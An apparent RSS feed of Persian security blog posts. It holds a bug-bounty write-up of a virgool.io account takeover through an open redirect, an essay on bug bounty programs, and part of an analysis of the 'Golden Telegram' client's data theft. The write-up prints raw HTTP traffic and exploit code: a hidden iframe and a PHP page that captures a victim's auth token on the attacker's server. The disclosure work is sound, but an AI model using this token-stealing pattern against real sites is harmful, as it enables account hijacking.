X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src &#039;self&#039; files.virgool.io blob:; connect-src &#039;self&#039; https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src &#039;self&#039; data: https://virgool.io;  img-src blob: data: https: &#039;self&#039; files.virgool.io https://www.google-analytics.com; object-src &#039;self&#039; virgool.io; media-src cdn.virgool.io; script-src &#039;self&#039; blob: https://virgool.io &#039;unsafe-eval&#039; &#039;unsafe-inline&#039; www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: &#039;self&#039;; style-src &#039;unsafe-inline&#039; data: https: &#039;self&#039;; frame-src &#039;self&#039; cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: &#039;self&#039;; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830بعد از وارد کردن اطلاعات و کلیک روی دکمه «ورود»:POST /api/v1.2/login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/login
X-XSRF-TOKEN: REDUCTED
Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359
Content-Length: 319
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name=&quot;username&quot;
y.shahinzadeh@gmail.com
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name=&quot;password&quot;
REDUCTED
-----------------------------1803676204095613341172964359--جواب:HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src &#039;self&#039; files.virgool.io blob:; connect-src &#039;self&#039; https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src &#039;self&#039; data: https://virgool.io;  img-src blob: data: https: &#039;self&#039; files.virgool.io https://www.google-analytics.com; object-src &#039;self&#039; virgool.io; media-src cdn.virgool.io; script-src &#039;self&#039; blob: https://virgool.io &#039;unsafe-eval&#039; &#039;unsafe-inline&#039; www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: &#039;self&#039;; style-src &#039;unsafe-inline&#039; data: https: &#039;self&#039;; frame-src &#039;self&#039; cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: &#039;self&#039;; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612
{&quot;success&quot;:true,&quot;token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA&quot;,&quot;previous_url&quot;:&quot;https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&amp;status=checked&quot;,&quot;user&quot;:{&quot;name&quot;:&quot;YShahinzadeh&quot;,&quot;activated&quot;:1,&quot;username&quot;:&quot;YShahinzadeh&quot;,&quot;avatar&quot;:&quot;https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png&quot;}}خب تا اینجا هیچ مشکلی مشاهده نمیشه. ایده فاز کردن URL توی لینک لاگین (https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;status=login) اصلا جذاب نیست، چرا؟ برای اینکه فرض کنید بتونیم چنین لینکی رو به قربانی بدیم:https://virgool.io/authorize?redirectedFrom=https://test.com&amp;status=loginبعد از انجام فرایند لاگین، کاربر به https://test.com هدایت مجدد میشه (تازه اگه چک نشه)، و خب سوالی که پیش میاد اینه: که چی؟ یه Open Redirect ساده هست با ایمپکت پایین. خب اینجا بنظر من قبل اینکه باقی نوشته رو بخونید، تو ذهن خودتون سناریوهای حمله رو که میشه اینجا پیاده‌سازی کرد ترسیم کنید. اولین چیزی که اون موقع تست کردم و منجر به کشف آسیب‌پذیری هم شد،‌ این سناریو بود:چی میشه اگه کاربری که الان لاگین هست، روی لینک کلیک کنه؟جالب اینه امروز این رو از یک شخص پرسیدم و جواب داد: خب میره اونور یه توکن رفرش بش میده و برمی‌گرده. یعنی خیلی براش بدیهی بود این رفتار، حداقل برای من توی اون لحظه نبود اما چک کردم. خب درخواست با سشن لاگین:GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&amp;status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: REDUCTED
Upgrade-Insecure-Requests: 1جواب به شدت جالب بود:HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:34:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&amp;redirectedFrom=http://tech.cafebazaar.ir&amp;nightmode={&quot;value&quot;:0,&quot;userMenu&quot;:0,&quot;active&quot;:0}
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src &#039;self&#039; files.virgool.io blob:; connect-src &#039;self&#039; https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src &#039;self&#039; data: https://virgool.io;  img-src blob: data: https: &#039;self&#039; files.virgool.io https://www.google-analytics.com; object-src &#039;self&#039; virgool.io; media-src cdn.virgool.io; script-src &#039;self&#039; blob: https://virgool.io &#039;unsafe-eval&#039; &#039;unsafe-inline&#039; www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: &#039;self&#039;; style-src &#039;unsafe-inline&#039; data: https: &#039;self&#039;; frame-src &#039;self&#039; cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: &#039;self&#039;; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 6482همون حدث دوستمون درست بود (صد آفرین). کاربر با توکن برمی‌گرده سمت صفحه اولی که توش بوده. خب چی میشه اگه ما بتونیم به این توکن دسترسی داشته باشیم؟ می‌توینم بجای کاربر لاگین کنیم (بدون داشتن نام‌کاربری و گذرواژه)، در واقع اکانت رو تصاحب کنیم. با چه آسیب‌پذیری میشه این توکن رو سرقت کرد؟ دقیقا... Open Redirect که همیشه در حقش اجحاف میشه. تست کردم:GET /authorize?redirectedFrom=http://localhost/&amp;status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...و جواب:HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?token=sb5uevdkih3r&amp;redirectedFrom=http://localhost/&amp;nightmode={&quot;value&quot;:0,&quot;userMenu&quot;:0,&quot;active&quot;:0}
...و تامام. حساب تصاحب میشه، از این قسمت به بعد وارد فاز اکسپلویت کردن می‌شیم. کد اکسپلویت:&lt;style&gt;
iframe {
    visibility: hidden;
    position: absolute;
    left: 0; top: 0;
    height:0; width:0;
    border: none;
}
&lt;/style&gt;
&lt;center&gt;&lt;img src=&quot;troll.jpg&quot;&gt;&lt;/center&gt; &lt;iframe src=&quot;https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&amp;status=login&quot;&gt;&lt;/iframe&gt;محتویات صفحه g.php:&lt;?php
file_put_contents(&#039;hacked.html&#039;, &#039;&lt;html&gt;&lt;meta content=&quot;text/html;charset=utf-8&quot; http-equiv=&quot;Content-Type&quot;&gt;
&lt;meta content=&quot;utf-8&quot; http-equiv=&quot;encoding&quot;&gt;=\&#039;http://virgool.io/authorize-token?token=&#039; . $_GET[&#039;token&#039;] . &#039;&amp;redirectedFrom=https://virgool.io&amp;nightmode={&quot;value&quot;:0,&quot;userMenu&quot;:0,&quot;active&quot;:0}\&#039;&#039;);
?&gt;وقتی قربانی در حالی که توی حساب ویرگول خودش لاگین هست، از سایت مهاجم بازدید کنه، چنین درخواستی رو برای سرور ماجم می‌فرسته که توکن اصالت‌سنجی توش هست:GET /authorize-token?token=sa5uevekit3r&amp;redirectedFrom=http://localhost/v/g.php&amp;nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://localhost/v/Upgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheو مهاجم می‌تونه با این توکن به‌جای کاربر لاگین کنه. این هم لینک ویدئو اثبات آسیب‌پذیری که درک خیلی خوبی از شدت حمله میده: https://www.youtube.com/watch?v=ofXsnM7UozYدر آخر هم جا داره تشکر کنم از تیم فنی ویرگول که بسیار خوش برخورد بودن و بانتی (اصلا مبلغش مهم نیست) به این آسیب‌پذیری اختصاص دادن، همچنین سرعت عمل بسیار بالایی در دریافت و صدور وصله امنیتی داشتن.</description>
                <category>YShahinzadeh</category>
                <author>YShahinzadeh</author>
                <pubDate>Thu, 27 Jun 2019 21:26:36 +0430</pubDate>
            </item>
                    <item>
                <title>باگ‌بانتی یا جایزه به ازا آسیب‌پذیری</title>
                <link>https://virgool.io/memoryleak/%D8%A8%D8%A7%DA%AF%D8%A8%D8%A7%D9%86%D8%AA%DB%8C-%DB%8C%D8%A7-%D8%AC%D8%A7%DB%8C%D8%B2%D9%87-%D8%A8%D9%87-%D8%A7%D8%B2%D8%A7-%D8%A2%D8%B3%DB%8C%D8%A8%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-glpn4e4djzkx</link>
                <description>باگ‌بانتی  یک پاداش - پولی یا غیر پولی - است که یک شرکت بابت گزارش کردن یک باگ یا آسیب پذیری توسط یک شخص (هکر کلاه سفید)، به او پرداخت می‌کند. پاداش پولی ممکن است از چند صد هزار تومان تا چند میلیون تومان نسبت به میزان و شدت آسیب‌پذیری متفاوت باشد. پاداش غیر پولی، استفاده از خدمات شرکت و مواردی نظیر آن است. همچنین معمولا در دو حالت، اسم شخص گزارش‌کننده به عنوان یک هکرکلاه سفید در سایت شرکت، در قسمت مربوط به امنیت، درج می‌گردد.روال بسیار غلط در ایراندر ایران معمولا بعد از کشف آسیب‌پذیری، مسیری بسیار بد طی می‌شود. ابتدا هکر کلاه‌سفید، در میان شبکه‌های اجتماعی و آشنایان به دنبال «آشنایی» می‌گردد تا بتواند باگ خود را به پول تبدیل کند. در بهترین حالت بعد از پیدا کردن لینک در داخل سازمان، بحث بر سر شدت آسیب‌پذیری به بدترین شکل ممکن صورت می‌گیرد. بدین ‌صورت که هکر کلاه‌سفید، اصرار بر خطرناک بودن آسیب‌پذیری خود دارد، در عین حال، سازمان، ادعای امن بودن کرده و تقاضای دیدن POC برای تخمین شدت آسیب‌پذیری را دارد. هکر کلاه‌سفید به دلیل ترس از «از دست دادن آسیب‌پذیری»، از دادن جزئیات امتنا می‌کند. در اکثر مواقع هم بعد از ارائه جزئیات توسط هکر کلاه‌سفید، سازمان اظهار کم اهمیت بودن سامانه آسیب‌پذیر را می‌کند.این روال بسیار غلط است، اصلا نیازی به کشف روال صحیح نیست، کافی است ببینیم سازمان‌ها و شرکت‌های بزرگ دنیا چه‌کار می‌کنند؟ تمامی شرکت‌ها، جدولی مربوط به قلمرو یا Scope مجاز برای گزارش آسیب‌پذیری را دارند. برای مثال، یک قلمرو مناسب برای شرکت ارتباطات سیار یا همراه‌اول، می‌تواند*.mci.irباشد، و دامین‌های غیر مجاز و کم اهمیت از آن کاسته شود. قسمت بعدی، باید جدول پرداختی به ازا شدت‌های مختلف آسیب‌پذیری باشد. یک مثال بسیار عالی می‌توان به برنامه Twitter در HackerOne اشاره کرد. بدین ترتیب، بحث بی نتیجه بالا هیچ‌وقت پیش نمی‌آید. برای جمع‌بندی، می‌توان اشاره کرد که یک برنامه بانتی خوب نیاز به شاخص‌های زیر دارد:قوانین برنامهتعیین قلمروجوایز کشف آسیب‌پذیرینحوه گزارشآسیب‌پذیری‌های خارج از بانتیبا توجه به موارد بالا، بسیاری از سازمان‌ها و شرکت‌های ایرانی که ادعای داشتن برنامه باگ‌بانتی رو دارند، فاقد این امر هستند. در واقع این شرکت‌ها، فقط یک راه ارتباطی یک‌طرفه برای دریافت آسیب‌پذیری، بدون ارائه هیچ تضمینی برای همکاری با هکر کلاه‌سفید دارند.تعریف سامانه باگ‌بانتیاین سامانه به عنوان یک واسطه بین هکرهای کلاه سفید و سازمان‌ها و شرکت‌های دولتی و خصوصی عمل می‌کند. این سامانه دو گروه مخاطب خواهد داشت، گروه اول سازمان‌ها و شرکت‌هایی هستند که می‌خواهند بخشی یا تمام ابزارها و سرویس‌های خود را در معرض ارزیابی متخصصین قرار دهند.گروه دوم هکرهای کلاه سفید که با اهداف مختلفی از جمله کسب درآمد مناسب، به چالش کشیدن تخصص خود، کسب شهرت و غیره در سامانه ثبت نام خواهند کرد.در خصوص سامانه پیش‌روی، چند نمونه بسیار موفق خارجی وجود دارد که مهمترین آن‌ها hackerone.com و bugcrowd.com می‌باشد. در حال حاضر شرکت‌ها و سازمان‌های بزرگی در آمریکا از خدمات hackerone.com بهره می‌برند که از بین آن‌ها می‌توان به وزارت دفاع آمریکا، Yahoo و Twitter اشاره کرد.همچنین لازم به ذکر است که این سامانه حتما بنباید به صورت یک Third Party وارد عمل شود، بلکه می‌تواند درون یک شرکت یا سازمان شکل بگیرد. برای مثلا، همراه اول می‌تواند با راه‌اندازی این سامانه فقط برای خود، نظر هکرهای کلاه‌سفید را به‌خود جلب کند.مقایسه برنامه بانتی و روش سنتی آزمون نفوذوجود یک سامانه‌ Bug Bounty مزایای بسیاری نسبت به آزمون نفوذ سنتی دارد. مهم‌ترین ویژگی آن‌ تبدیل هکرهای کلاه خاکستری و حتی در برخی موارد هکرهای کلاه سیاه به هکرهای کلاه سفید یا به عبارت دیگر ورود هکرها به یک چرخه مولد است. به عنوان نمونه برخی از ویژگی‌های این سامانه به شرح زیر است: مورد ۱) هزینه در روش سنتی آزمون نفوذ نسبت به برنامه بانتی بسیار بالا می‌باشد، قراردادهای آزمون نفوذ عموما مشروط به کشف آسیب‌پذیری نمی‌باشد، درصورتی که در برنامه بانتی، به ازار هر آسیب‌پذیری، بعد از تائید کارفرما و صدور وصله امنیتی، وجه توافقی پرداخت می‌شود. مورد ۲) دانش در پروژه آزمون نفوذ، محدود به سقف دانش اعضای پروژه می‌باشد. در صورتی که در برنامه بانتی، طیف وسیعی از هکران با دانش‌های مختلف، بر روی سامانه مورد آزمون، از دانش خود برای کشف آسیب‌پذیری بهره‌مند می‌شوند.مورد ۳) منابع انسانی در پروژه آزمون سنتی، محدود به افراد خاص، مشخص شده در قرارداد و وابسته به مبلغ آن می‌باشد. در صورتی که در برنامه بانتی، منابع انسانی نامحدود می‌باشد، البته این امر در کنترل سازمان مورد آزمون قرار گرفته می‌باشد.مورد ۴) سرعت کشف ‌آسیب‌پذیری در پروژه آزمون نفوذ سنتی، به سرعت افراد، میزان درگیری زمانی/ذهنی آن‌ها در پروژه‌های موازی وابسته است، به همین دلیل آسیب‌پذیری‌ها همیشه با انجام اولین آزمون نفوذ کشف نمی‌گردند. بسیاری از سامانه‌ها، بعد از چندید بار آزمون نفوذ سنتی،‌ آسیب‌پذیری جدید کشف می‌گردد که گواه سرعت پایین کشف آسیب‌پذیری در روش سنتی می‌باشد. در برنامه بانتی، به دلیل شرکت منابع انسانی نامحدود، این مورد به شدت تسریع می‌گردد.مورد ۵) در پروژه آزمون نفوذ سنتی،‌ نظارت بر پیمان‌کار کاری بسیار دشوار و غیر قابل انجام می‌باشد. عموما مستندات آزمون نفوذ، معیار اصلی برای تخمین کیفیت کار پیمان‌کار می‌باشد. در سامانه بانتی، به دلیل خودجوش بودن هکرها و عدم صرف هزینه اولیه از سوی کارفرما، دلیلی بر نظارت وجود ندارد.مورد ۶) در آزمون نفوذ سنتی، به دلیل وجود منابع مالی/انسانی محدود، معمولا تمام سامانه‌ها مورد آزمون قرار نمی‌گیرند، تنها سامانه‌های حساس در اولویت می‌باشند، این خود ضعف در سازمان‌های مختلف حساب می‌شود،‌ زیرا در مقوله نفوذ به یک سازمان، حساسی سامانه اولویتی برای یک هکر نداشته، و بسیاری از سازمان‌ها، از سامانه‌های غیر حساس و فراموش‌شده خود آسیب می‌بینند. در سامانه بانتی، یک سازمان می‌تواند تمام سامانه‌های خود را در معرض آزمون گذاشته و فقط برای سامانه‌های حساس مبلغ جایزه در نظر بگیرد. اینکه چرا هکر بر روی سامانه‌های غیرپولی وقت می‌گذارد، به چرخه سیستم سامانه برمی‌گردد.مورد ۷) مدت در قراردادهای سنتی، محدود می‌باشد و معمولا بسیاری از سازمان‌ها به صورت ادواری قراردادهای خود را با پیمان‌کاران تمدید می‌کنند. در صورت وجود آسیب‌پذیری در میان فاصله زمانی بین انعقاد دوقرارداد، ضرر متوجه سازمان می‌گردد. در برنامه بانتی، زمان آزمون به‌صورت خیلی آسان قابل تمدید می‌باشد.مورد ۸) در آزمون نفوذ سنتی، کارشناسان می‌توانند آسیب‌پذیری کشف شده را گزارش نکنند. زیرا هیچ سازوکار بازدارنده برای آن‌ها وجود ندارد (اصولا امکان نظارت این بخش وجود ندارد). زیرا کارشناس در نهایت اظهار در عدم توانایی در کشف آسیب‌پذیری را دارد. در سامانه بانتی، هکر بدون فوت وقت، آسیب‌پذیری را گزارش می‌کند، زیرا اولا انگیزه مالی برای انجام این امر دارد، ثانیا ممکن است هکری دیگر این آسیب‌پذیری را گزارش کند، و علاوه بر رفع شدن آسیب‌پذیری، امتیازی به ایشان نرسد.مورد ۹) در آزمون نفوذ سنتی، انگیزه کارشناسان قابل اندازه‌گیری نمی‌باشد. بسیاری از کارشناسان ممکن است برای رفع تکلیف آزمون را انجام دهند و تلاشی برای کشف آسیب‌پذیری نکنند. در سامانه بانتی، هکر برای پیشرفت مالی/کاربری در سامانه، حداکثر تلاش خود را برای انجام آزمون انجام می‌دهد.پیش‌بینی دغدغه و نگرانی احتمالی سازمان‌ها و شرکت‌هاسوال) آیا هکران آسیب‌پذیری را گزارش می‌کنند؟ اگر آسیب‌پذیری کشف شده را گزارش نکرده و با آن به سامانه نفوذ کنند چه می‌شود؟ این یک نگرش غلط جا افتاده می‌باشد، اتفاقا در سامانه بانتی در قیاس با آزمون نفوذ سنتی، این اتفاق به ندرت می‌افتد. در آزمون نفوذ سنتی، یک کارشناس به راحتی می‌تواند یک آسیب‌پذیری را گزارش نداده، و در وقتی دیگر، از آن به‌صورت ناشناس سو استفاده کند. دلایل:هکرهایی که آسیب‌پذیری را گزارش نمی‌دهند و به سو استفاده می‌پردازند، کلاه سیاه‌هایی هستند که هم اکنون هم فعالیت دارند و نیازی به وجود چنین سامانه‌هایی برای انجام فعالیت‌های مخرب خود ندارند.عدم گزارش آسیب‌پذیری توسط یک هکر ایشان را در معرض مخاطره رقابت قرار می‌دهد، چرا که ممکن است هکری دیگر همزمان با او به این آسیب‌پذیری رسیده باشد و آن را گزارش کرده و محبوبیت و وجه را از سازمان مربوطه دریافت کند. بنابراین طبق تجربه ما در همکاری با نمونه‌های Bug Bounty خارجی، هر هکر پس از کشف آسیب‌پذیری تمام تلاش خود را برای سریع‌تر گزارش کردن آن می‌کند.در جوامع هکری زیرزمینی یا اصطلاحاً در بازار سیاه هکرهای زیر زمینی، بسیاری از آسیب‌پذیری‌های کشف شده از سامانه‌های دولتی و بانک‌ها را می‌توان مشاهده کرد که هکرهای کلاه سیاه به دنبال فروش آن هستند، وجود یک سامانه‌ Bug Bounty قطعاً به حیات این بازارهای زیرزمینی ضربه خواهد زد.سوال) آیا با در معرض گذاشتن سامانه خود، این پیغام را به هکران نمی‌دهیم که سامانه ما مهم است؟ یا به عبارتی دیگر، وقتی مورد آزمون قرار بگیریم، هکران کلاه سیاه به دنبال می نمی‌آیند؟ در جواب این سوال باید گفت‌، سازمان‌هایی که چنین دغدغه‌ای دارند، می‌توانند برنامه خود را به‌صورت خصوصی برگزار کنند، هرچند که جواب خیر است، در واقع برعکس نگرانی پیش آمده، سازمان می‌تواند به مشتری‌های خود این اطمینان را بدهد که برای اطلاعات آنها ارزش قائل است.سوال) نحوه محاسبه قیمت برای سازمان‌ها چگونه است؟اما در خصوص شیوه محاسبه قیمت پیشنهادی آسیب‌پذیری‌ها هر سازمان مختار است تا برای سطوح مختلف آسیب‌پذیری یا حتی برای هر نوع از آسیب‌پذیری کشف شده بر روی سامانه پیشنهادی متناسب با بودجه خود مبلغی را پیشنهاد دهد. به این ترتیب:سازمان‌هایی که پول بیشتری بابت هر آسیب‌پذیری پرداخت کنند مورد توجه تعداد بیشتری از هکرها بوده  و آسیب‌پذیری احتمالی آن‌ها قاعدتاً زودتر گزارش می‌شود.سازمان‌هایی که پول کمتری پرداخت کرده و یا حتی به صورت رایگان عضو شده‌اند نیز با توجه به عملکرد سامانه، مورد توجه هکرهای کم تجربه‌تر یا تازه واردتر قرار می‌گیرند.سازمان‌ها تنها زمانی پول پرداخت خواهند کرد که آسیب‌پذیری‌هایی از انواع مورد نظر خودشان گزارش شود. </description>
                <category>YShahinzadeh</category>
                <author>YShahinzadeh</author>
                <pubDate>Fri, 24 May 2019 17:26:11 +0430</pubDate>
            </item>
                    <item>
                <title>گزارش تحلیلی بررسی امنیت و رعایت حریم خصوصی تلگرام طلایی</title>
                <link>https://virgool.io/@YShahinzadeh/%DA%AF%D8%B2%D8%A7%D8%B1%D8%B4-%D8%AA%D8%AD%D9%84%DB%8C%D9%84%DB%8C-%D8%A8%D8%B1%D8%B1%D8%B3%DB%8C-%D8%A7%D9%85%D9%86%DB%8C%D8%AA-%D9%88-%D8%B1%D8%B9%D8%A7%DB%8C%D8%AA-%D8%AD%D8%B1%DB%8C%D9%85-%D8%AE%D8%B5%D9%88%D8%B5%DB%8C-%D8%AA%D9%84%DA%AF%D8%B1%D8%A7%D9%85-%D8%B7%D9%84%D8%A7%DB%8C%DB%8C-iakipavqptpd</link>
                <description>از دسترس خارج شدن تلگرام در سال ۹۶، فرصت مناسبی برای رشد پیام‌رسان‌های ایرانی به شمار می‌رفت. در این میان به جز پیام‌رسان‌های ایرانی برخی کلاینت‌های غیر رسمی تلگرام نیز رشد قابل توجهی داشتند. تلگرام طلایی که شاید محبوب‌ترین کلاینت غیررسمی تلگرام بعد از فیلتر شدن آن باشد، به گفته یکی از اعضای کمیته تعیین مصادیق مجرمانه حدود ۲۵ میلیون نفر کاربر دارد. که البته عبارت دقیق‌تر این است که ۲۵ میلیون نفر از برنامه تلگرام طلایی برای اتصال به سرورهای تلگرام استفاده می‌کنند.تلگرام طلایی۱- چرا تلگرام طلایی را بررسی کردیم؟تلگرام طلایی حدود ۲۵ میلیون کاربر دارد و چندین بار در سال بروزرسانی می‌شود با این وجود هیچ شرکت یا نهاد دولتی و خصوصی مسئولیت توسعه و پشتیبانی آن را برعهده ندارد. هیچ سایت یا Licensing Agreement ندارد. این میزان ناشناس بودن توسعه دهندگان و مالکان حقوقی نگرانی‌هایی درباره غیرقانونی بودن فعالیت‌های این برنامه ایجاد می‌کند. همچنین، برخی از اظهار نظرهای غیر فنی و نادقیق راجع به این نرم‌افزار (از قبیل اینکه : تلگرام طلایی یک نسخه از تمامی چت‌ها را به یک سرور خاص ارسال می‌کند و ...) نه تنها کمکی به موضوع نمی‌کند بلکه شبهات و شایعه‌ها را بیشتر می‌کند. این نگرانی‌ها ما را بر آن داشت تا نرم‌افزار فوق را از منظر وجود کدهای مخرب مانند ابزارهای سرقت اطلاعات، سطح امنیت، و حفظ حریم خصوصی کاربران مورد بررسی قرار دهیم.۲- موارد بررسی شدهتلگرام طلایی یک کلاینت تلگرام است و در ظاهر سرورهای مجزا ندارد بلکه از زیرساخت سرورهای تلگرام برای رد و بدل کردن پیام استفاده می‌کند. با بررسی بیشتر کلاینت، متوجه این امر شدیم که علاوه بر سرورهای رسمی تلگرام، تلگرام طلایی سرورهایی دارد که موبایل کاربر به‌صورت ناخواسته با آن‌ها ارتباط برقرار می‌کند. ارتباط بین تلگرام طلایی و سرورهای رسمی تلگرام و همچنین سرورهای تلگرام طلایی به صورت زیر است:جریان‌داده از تلگرام طلایی تا سرورهای تلگرام حال برای بررسی تلگرام طلایی باید موارد زیر مورد بررسی قرار بگیرند: بررسی کد جاوا کلاینت تلگرام طلایی به دنبال اعمال خلاف قوانینبررسی کتابخانه ++C تلگرام رسمی به دنبال تغییرات احتمالی اعمال شدهبررسی کانال ارتباطی با سرورهای رسمی تلگرام به دنبال روش‌های شنود و یا دستکاری اطلاعاتبررسی کانال ارتباطی با سرورهای تلگرام طلایی به دنبال روش‌های شنود و یا دستکاری اطلاعاتاین موارد جداگانه بررسی شده و برای مشاهده جزئیات روش بررسی، نتایج فنی و . . .  می‌توانید به پست‌های مربوطه مراجعه کنید. ۳- نتایج بررسی تلگرام طلاییپس از بررسی کد جاوای تلگرام طلایی قابلیت‌های متعددی برای سرقت اطلاعات و انجام اعمال ناخواسته کاربر در این نرم‌افزار کشف شد که با چند سرور خاص (مانند hotgram.ir) در ارتباط بود و داده‌هایی حیاتی را به این سرورها ارسال می‌کرد. برخی از این قابلیت‌ها اطلاعات شخصی کاربر را ارسال می‌کنند و برخی دیگر از طرف کاربر عملیات خاصی را اجرا می‌کنند. در ادامه به تعدادی از این قابلیت‌ها اشاره شده است. برای اطلاعات کامل‌تر در این زمینه و لیست سرورهایی که به صورت مخفی اطلاعات کاربران برای آن‌ها ارسال می‌شود به گزارش بررسی کد جاوا کلاینت تلگرام طلایی مراجعه کنید.قابلیت‌های سرقت اطلاعات شخصی:می‌تواند لیست تمام گروه‌ها و ربات‌ها که کاربر در آن‌ها عضو است را به سرورهای خود ارسال کندامکان ارسال لیست تمام کانال‌هایی که کاربر در آن‌ها عضو هست و اینکه آیا کاربر مدیر آن کانال است یا نه؟امکان دریافت و ارسال لیست تمام مخاطبین کاربر به همراه نام‌کاربری آن‌هاامکان ارسال موقعیت مکانی کاربر به سرورهای تلگرام طلاییامکان سرقت کد Authentication تلگرام که با استفاده از آن می‌توان به اکانت تلگرام کاربر مد نظر دسترسی کامل پیدا کرد.ارسال اطلاعات پروکسی سرور ذخیره شده روی کلاینت به سرورهای تلگرام طلایی.اعمالی که بدون اطلاع کاربر از طرف او انجام می‌دهد:امکان عضو کردن کاربر در یک کانال خاص به صورت اجباریامکان رپورت کردن یک کانال خاص توسط کاربران به صورت مخفیامکان بیرون رفتن و پاک کردن کانال توسط مدیر کانالامکان بازدید یک URL 